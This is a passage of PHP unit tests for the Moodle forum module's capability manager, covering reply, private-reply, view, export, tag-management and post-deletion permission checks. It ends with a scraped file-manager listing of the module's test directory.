        $this->assertTrue($capabilitymanager->can_reply_to_post($user, $discussion, $post));

        $this->prevent_capability('moodle/site:accessallgroups', $context);
        $this->assertTrue($capabilitymanager->can_reply_to_post($user, $discussion, $post));

        $group = $this->getDataGenerator()->create_group(['courseid' => $this->course->id]);
        $discussion = $this->entityfactory->get_discussion_from_stdClass(
            (object) array_merge((array) $this->discussionrecord, ['groupid' => $group->id])
        );

        $this->assertFalse($capabilitymanager->can_reply_to_post($user, $discussion, $post));

        $this->getDataGenerator()->create_group_member(['userid' => $user->id, 'groupid' => $group->id]);

        $this->assertTrue($capabilitymanager->can_reply_to_post($user, $discussion, $post));

        // Make the post a private reply.
        $post = $this->entityfactory->get_post_from_stdClass(
            (object) array_merge((array) $this->postrecord, ['parent' => 5, 'privatereplyto' => $user->id])
        );

        // Can't reply to a a private reply.
        $this->assertFalse($capabilitymanager->can_reply_to_post($user, $discussion, $post));
    }

    /**
     * Test for \mod_forum\local\managers\capability::can_reply_to_post() involving Q & A forums.
     */
    public function test_can_reply_to_post_in_qanda_forum(): void {
        global $CFG;

        $this->resetAfterTest();

        // Set max editing time to 10 seconds.
        $CFG->maxeditingtime = 10;

        $qandaforum = $this->create_forum(['type' => 'qanda']);
        $datagenerator = $this->getDataGenerator();
        $capabilitymanager = $this->managerfactory->get_capability_manager($qandaforum);

        // Student 1.
        $student1 = $datagenerator->create_user(['firstname' => 'S1']);
        $datagenerator->enrol_user($student1->id, $this->course->id, 'student');
        // Confirm Student 1 can reply to the question.
        $this->assertTrue($capabilitymanager->can_reply_to_post($student1, $this->discussion, $this->post));

        // Student 2.
        $student2 = $datagenerator->create_user(['firstname' => 'S2']);
        $datagenerator->enrol_user($student2->id, $this->course->id, 'student');
        // Confirm Student 2 can reply to the question.
        $this->assertTrue($capabilitymanager->can_reply_to_post($student2, $this->discussion, $this->post));

        // Reply to the question as student 1.
        $now = time();
        $options = ['parent' => $this->post->get_id(), 'created' => $now - 100];
        $student1post = $this->helper_post_to_discussion($this->forumrecord, $this->discussionrecord, $student1, $options);
        $student1postentity = $this->entityfactory->get_post_from_stdClass($student1post);

        // Confirm Student 2 cannot reply student 1's answer yet.
        $this->assertFalse($capabilitymanager->can_reply_to_post($student2, $this->discussion, $student1postentity));

        // Reply to the question as student 2.
        $this->helper_post_to_discussion($this->forumrecord, $this->discussionrecord, $student2, $options);

        // Reinitialise capability manager first to ensure we don't return cached values.
        $capabilitymanager = $this->managerfactory->get_capability_manager($qandaforum);

        // Confirm Student 2 can now reply to student 1's answer.
        $this->assertTrue($capabilitymanager->can_reply_to_post($student2, $this->discussion, $student1postentity));
    }

    /**
     * Ensure that can_reply_privately_to_post works as expected.
     *
     * @covers ::can_reply_privately_to_post
     */
    public function test_can_reply_privately_to_post(): void {
        $this->resetAfterTest();

        $forum = $this->create_forum();
        $discussion = $this->discussion;
        $user = $this->user;
        $post = $this->post;
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);

        // Without the capability, and with a standard post, it is not possible to reply privately.
        $this->prevent_capability('mod/forum:postprivatereply');
        $this->assertFalse($capabilitymanager->can_reply_privately_to_post($this->user, $post));

        // With the capability, and a standard post, it is possible to reply privately.
        $this->give_capability('mod/forum:postprivatereply');
        $this->assertTrue($capabilitymanager->can_reply_privately_to_post($this->user, $post));

        // Make the post a private reply.
        $post = $this->entityfactory->get_post_from_stdClass(
            (object) array_merge((array) $this->postrecord, ['parent' => 5, 'privatereplyto' => $user->id])
        );

        // Can't ever reply to a a private reply.
        $this->assertFalse($capabilitymanager->can_reply_privately_to_post($user, $post));
    }

    /**
     * Ensure that can_view_post works as expected.
     *
     * @covers ::can_view_post
     */
    public function test_can_view_post(): void {
        $this->resetAfterTest();

        $forum = $this->create_forum();
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);

        $user = $this->user;
        $otheruser = $this->getDataGenerator()->create_user();

        $discussion = $this->discussion;
        $post = $this->post;

        $postproperties = ['parent' => $post->get_id(), 'userid' => $otheruser->id, 'privatereplyto' => $otheruser->id];
        $privatepost = $this->entityfactory->get_post_from_stdClass(
            (object) array_merge((array) $this->postrecord, $postproperties)
        );

        $this->prevent_capability('mod/forum:readprivatereplies');
        $this->assertFalse($capabilitymanager->can_view_post($user, $discussion, $privatepost));
    }

    /**
     * Ensure that can_view_post_shell considers private replies correctly.
     *
     * @covers ::can_view_post_shell
     */
    public function test_can_view_post_shell(): void {
        $this->resetAfterTest();

        $forum = $this->create_forum();
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);

        $user = $this->user;
        $otheruser = $this->getDataGenerator()->create_user();

        $discussion = $this->discussion;
        $post = $this->post;

        $postproperties = ['parent' => $post->get_id(), 'userid' => $user->id, 'privatereplyto' => $user->id];
        $privatepostfrommetome = $this->entityfactory->get_post_from_stdClass(
            (object) array_merge((array) $this->postrecord, $postproperties)
        );

        $postproperties = ['parent' => $post->get_id(), 'userid' => $user->id, 'privatereplyto' => $otheruser->id];
        $privatepostfrommetoother = $this->entityfactory->get_post_from_stdClass(
            (object) array_merge((array) $this->postrecord, $postproperties)
        );

        $postproperties = ['parent' => $post->get_id(), 'userid' => $otheruser->id, 'privatereplyto' => $user->id];
        $privatepostfromothertome = $this->entityfactory->get_post_from_stdClass(
            (object) array_merge((array) $this->postrecord, $postproperties)
        );

        $postproperties = ['parent' => $post->get_id(), 'userid' => $otheruser->id, 'privatereplyto' => $otheruser->id];
        $privatepostfromothertoother = $this->entityfactory->get_post_from_stdClass(
            (object) array_merge((array) $this->postrecord, $postproperties)
        );

        // Can always view public replies, and private replies by me or to me.
        $this->prevent_capability('mod/forum:readprivatereplies');
        $this->assertTrue($capabilitymanager->can_view_post_shell($this->user, $post));
        $this->assertTrue($capabilitymanager->can_view_post_shell($this->user, $privatepostfrommetome));
        $this->assertTrue($capabilitymanager->can_view_post_shell($this->user, $privatepostfrommetoother));
        $this->assertTrue($capabilitymanager->can_view_post_shell($this->user, $privatepostfromothertome));
        $this->assertFalse($capabilitymanager->can_view_post_shell($this->user, $privatepostfromothertoother));

        $this->give_capability('mod/forum:readprivatereplies');
        $this->assertTrue($capabilitymanager->can_view_post_shell($this->user, $post));
        $this->assertTrue($capabilitymanager->can_view_post_shell($this->user, $privatepostfrommetome));
        $this->assertTrue($capabilitymanager->can_view_post_shell($this->user, $privatepostfrommetoother));
        $this->assertTrue($capabilitymanager->can_view_post_shell($this->user, $privatepostfromothertome));
        $this->assertTrue($capabilitymanager->can_view_post_shell($this->user, $privatepostfromothertoother));
    }

    /**
     * Test can_export_post.
     *
     * @covers ::can_export_post
     */
    public function test_can_export_post(): void {
        global $CFG;
        $this->resetAfterTest();

        $forum = $this->create_forum();
        $post = $this->post;
        $user = $this->user;
        $otheruser = $this->getDataGenerator()->create_user();
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);

        $this->getDataGenerator()->enrol_user($otheruser->id, $this->course->id, 'teacher');

        $CFG->enableportfolios = true;
        $this->give_capability('mod/forum:exportpost');

        $this->assertTrue($capabilitymanager->can_export_post($otheruser, $post));

        $CFG->enableportfolios = false;
        $this->assertFalse($capabilitymanager->can_export_post($otheruser, $post));

        $CFG->enableportfolios = true;
        $this->prevent_capability('mod/forum:exportpost');
        // Can't export another user's post without the exportpost capavility.
        $this->assertFalse($capabilitymanager->can_export_post($otheruser, $post));

        $this->give_capability('mod/forum:exportownpost');
        // Can export own post with the exportownpost capability.
        $this->assertTrue($capabilitymanager->can_export_post($user, $post));

        $this->prevent_capability('mod/forum:exportownpost');
        $this->assertFalse($capabilitymanager->can_export_post($user, $post));
    }

    /**
     * Test can_view_participants.
     *
     * @covers ::can_view_participants
     */
    public function test_can_view_participants(): void {
        $this->resetAfterTest();

        $discussion = $this->discussion;
        $user = $this->user;
        $otheruser = $this->getDataGenerator()->create_user();

        $this->getDataGenerator()->enrol_user($otheruser->id, $this->course->id, 'teacher');

        $this->prevent_capability('moodle/course:viewparticipants');
        $this->prevent_capability('moodle/course:enrolreview');
        $this->prevent_capability('mod/forum:viewqandawithoutposting');

        $forum = $this->create_forum();
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);

        $this->assertFalse($capabilitymanager->can_view_participants($otheruser, $discussion));

        $this->give_capability('moodle/course:viewparticipants');
        $this->assertTrue($capabilitymanager->can_view_participants($otheruser, $discussion));

        $this->prevent_capability('moodle/course:viewparticipants');
        $this->give_capability('moodle/course:enrolreview');
        $this->assertTrue($capabilitymanager->can_view_participants($otheruser, $discussion));

        $forum = $this->create_forum(['type' => 'qanda']);
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);

        // Q and A forum requires the user to post before they can view it.
        $this->prevent_capability('mod/forum:viewqandawithoutposting');
        $this->assertFalse($capabilitymanager->can_view_participants($otheruser, $discussion));

        // This user has posted.
        $this->assertTrue($capabilitymanager->can_view_participants($user, $discussion));
    }

    /**
     * Test can_view_hidden_posts.
     *
     * @covers ::can_view_hidden_posts
     */
    public function test_can_view_hidden_posts(): void {
        $this->resetAfterTest();

        $forum = $this->create_forum();
        $user = $this->user;
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);

        $this->prevent_capability('mod/forum:viewhiddentimedposts');
        $this->assertFalse($capabilitymanager->can_view_hidden_posts($user));

        $this->give_capability('mod/forum:viewhiddentimedposts');
        $this->assertTrue($capabilitymanager->can_view_hidden_posts($user));
    }

    /**
     * Test can_manage_forum.
     *
     * @covers ::can_manage_forum
     */
    public function test_can_manage_forum(): void {
        $this->resetAfterTest();

        $forum = $this->create_forum();
        $user = $this->user;
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);

        $this->prevent_capability('moodle/course:manageactivities');
        $this->assertFalse($capabilitymanager->can_manage_forum($user));

        $this->give_capability('moodle/course:manageactivities');
        $this->assertTrue($capabilitymanager->can_manage_forum($user));
    }

    /**
     * Test can_manage_tags.
     *
     * @covers ::can_manage_tags
     */
    public function test_can_manage_tags(): void {
        global $DB;
        $this->resetAfterTest();

        $forum = $this->create_forum();
        $user = $this->user;
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);
        $context = \context_system::instance();
        $roleid = $DB->get_field('role', 'id', ['shortname' => 'user'], MUST_EXIST);

        assign_capability('moodle/tag:manage', CAP_PREVENT, $roleid, $context->id, true);
        $this->assertFalse($capabilitymanager->can_manage_tags($user));

        assign_capability('moodle/tag:manage', CAP_ALLOW, $roleid, $context->id, true);
        $this->assertTrue($capabilitymanager->can_manage_tags($user));
    }

    /**
     * Ensure that the can_view_any_private_reply works as expected.
     *
     * @covers ::can_view_any_private_reply
     */
    public function test_can_view_any_private_reply(): void {
        $this->resetAfterTest();

        $forum = $this->create_forum();
        $capabilitymanager = $this->managerfactory->get_capability_manager($forum);

        $this->give_capability('mod/forum:readprivatereplies');
        $this->assertTrue($capabilitymanager->can_view_any_private_reply($this->user));
        $this->prevent_capability('mod/forum:readprivatereplies');
        $this->assertFalse($capabilitymanager->can_view_any_private_reply($this->user));
    }


    /**
     * Test delete a post with ratings.
     */
    public function test_validate_delete_post_with_ratings(): void {
        global $DB;
        $this->resetAfterTest(true);

        // Setup test data.
        $course = $this->getDataGenerator()->create_course();
        $forum = $this->getDataGenerator()->create_module('forum', array('course' => $course->id));
        $user = $this->getDataGenerator()->create_user();
        $role = $DB->get_record('role', array('shortname' => 'student'), '*', MUST_EXIST);
        self::getDataGenerator()->enrol_user($user->id, $course->id, $role->id);

        // Add a discussion.
        $record = new \stdClass();
        $record->course = $course->id;
        $record->userid = $user->id;
        $record->forum = $forum->id;
        $record->created =
        $discussion = $this->getDataGenerator()->get_plugin_generator('mod_forum')->create_discussion($record);

        // Add rating.
        $post = $DB->get_record('forum_posts', array('discussion' => $discussion->id));
        $post->totalscore = 80;
        $DB->update_record('forum_posts', $post);

        $vaultfactory = container::get_vault_factory();
        $forumvault = $vaultfactory->get_forum_vault();
        $discussionvault = $vaultfactory->get_discussion_vault();
        $postvault = $vaultfactory->get_post_vault();

        $postentity = $postvault->get_from_id($post->id);
        $discussionentity = $discussionvault->get_from_id($postentity->get_discussion_id());
        $forumentity = $forumvault->get_from_id($discussionentity->get_forum_id());
        $capabilitymanager = $this->managerfactory->get_capability_manager($forumentity);

        $this->setUser($user);
        $this->expectExceptionMessage(get_string('couldnotdeleteratings', 'rating'));
        $capabilitymanager->validate_delete_post($user, $discussionentity, $postentity, false);
    }

    /**
     * Test delete a post with replies.
     */
    public function test_validate_delete_post_with_replies(): void {
        global $DB;
        $this->resetAfterTest(true);

        // Setup test data.
        $course = $this->getDataGenerator()->create_course();
        $forum = $this->getDataGenerator()->create_module('forum', array('course' => $course->id));
        $user = $this->getDataGenerator()->create_user();
        $role = $DB->get_record('role', array('shortname' => 'student'), '*', MUST_EXIST);
        self::getDataGenerator()->enrol_user($user->id, $course->id, $role->id);

        // Add a discussion.
        $record = new \stdClass();
        $record->course = $course->id;
        $record->userid = $user->id;
        $record->forum = $forum->id;
        $record->created =
        $discussion = $this->getDataGenerator()->get_plugin_generator('mod_forum')->create_discussion($record);

        $parentpost = $DB->get_record('forum_posts', array('discussion' => $discussion->id));
        // Add a post.
        $record = new \stdClass();
        $record->course = $course->id;
        $record->userid = $user->id;
        $record->forum = $forum->id;
        $record->discussion = $discussion->id;
        $record->parent = $parentpost->id;
        $this->getDataGenerator()->get_plugin_generator('mod_forum')->create_post($record);

        $vaultfactory = container::get_vault_factory();
        $forumvault = $vaultfactory->get_forum_vault();
        $discussionvault = $vaultfactory->get_discussion_vault();
        $postvault = $vaultfactory->get_post_vault();

        $postentity = $postvault->get_from_id($parentpost->id);
        $discussionentity = $discussionvault->get_from_id($postentity->get_discussion_id());
        $forumentity = $forumvault->get_from_id($discussionentity->get_forum_id());
        $capabilitymanager = $this->managerfactory->get_capability_manager($forumentity);

        $this->setUser($user);
        // Get reply count.
        $replycount = $postvault->get_reply_count_for_post_id_in_discussion_id(
            $user, $postentity->get_id(), $discussionentity->get_id(), true);
        $this->expectExceptionMessage(get_string('couldnotdeletereplies', 'forum'));
        $capabilitymanager->validate_delete_post($user, $discussionentity, $postentity, $replycount);
    }

}

Filemanager

Name Type Size Permission Actions
backup Folder 0777
behat Folder 0777
event Folder 0777
generator Folder 0777
grade Folder 0777
h5p Folder 0777
privacy Folder 0777
search Folder 0777
backup_forum_activity_task_test.php File 5.12 KB 0777
builders_exported_posts_test.php File 21.87 KB 0777
cron_trait.php File 5.11 KB 0777
custom_completion_test.php File 10.04 KB 0777
dates_test.php File 3.01 KB 0777
entities_author_test.php File 2.24 KB 0777
entities_discussion_summary_test.php File 2.85 KB 0777
entities_discussion_test.php File 5.97 KB 0777
entities_forum_test.php File 6.43 KB 0777
entities_post_read_receipt_collection_test.php File 2.6 KB 0777
entities_post_test.php File 2.81 KB 0777
entities_sorter_test.php File 2.55 KB 0777
exporters_author_test.php File 5.54 KB 0777
exporters_discussion_test.php File 4.28 KB 0777
exporters_forum_test.php File 3.01 KB 0777
exporters_post_test.php File 22.28 KB 0777
externallib_test.php File 153.5 KB 0777
generator_test.php File 11.38 KB 0777
generator_trait.php File 6.1 KB 0777
lib_test.php File 185.86 KB 0777
local_container_test.php File 3.41 KB 0777
locallib_test.php File 2.36 KB 0777
mail_group_test.php File 8.64 KB 0777
mail_test.php File 63.22 KB 0777
maildigest_test.php File 30.88 KB 0777
managers_capability_test.php File 56.41 KB 0777
output_email_test.php File 6.88 KB 0777
portfolio_caller_test.php File 5.17 KB 0777
private_replies_test.php File 9.76 KB 0777
qanda_test.php File 5.27 KB 0777
rsslib_test.php File 3.42 KB 0777
subscriptions_test.php File 66.47 KB 0777
vaults_author_test.php File 2.66 KB 0777
vaults_discussion_list_test.php File 29.94 KB 0777
vaults_discussion_test.php File 4.79 KB 0777
vaults_forum_test.php File 5.73 KB 0777
vaults_post_attachment_test.php File 7.55 KB 0777
vaults_post_read_receipt_collection_test.php File 3.72 KB 0777
vaults_post_test.php File 53.89 KB 0777
Filemanager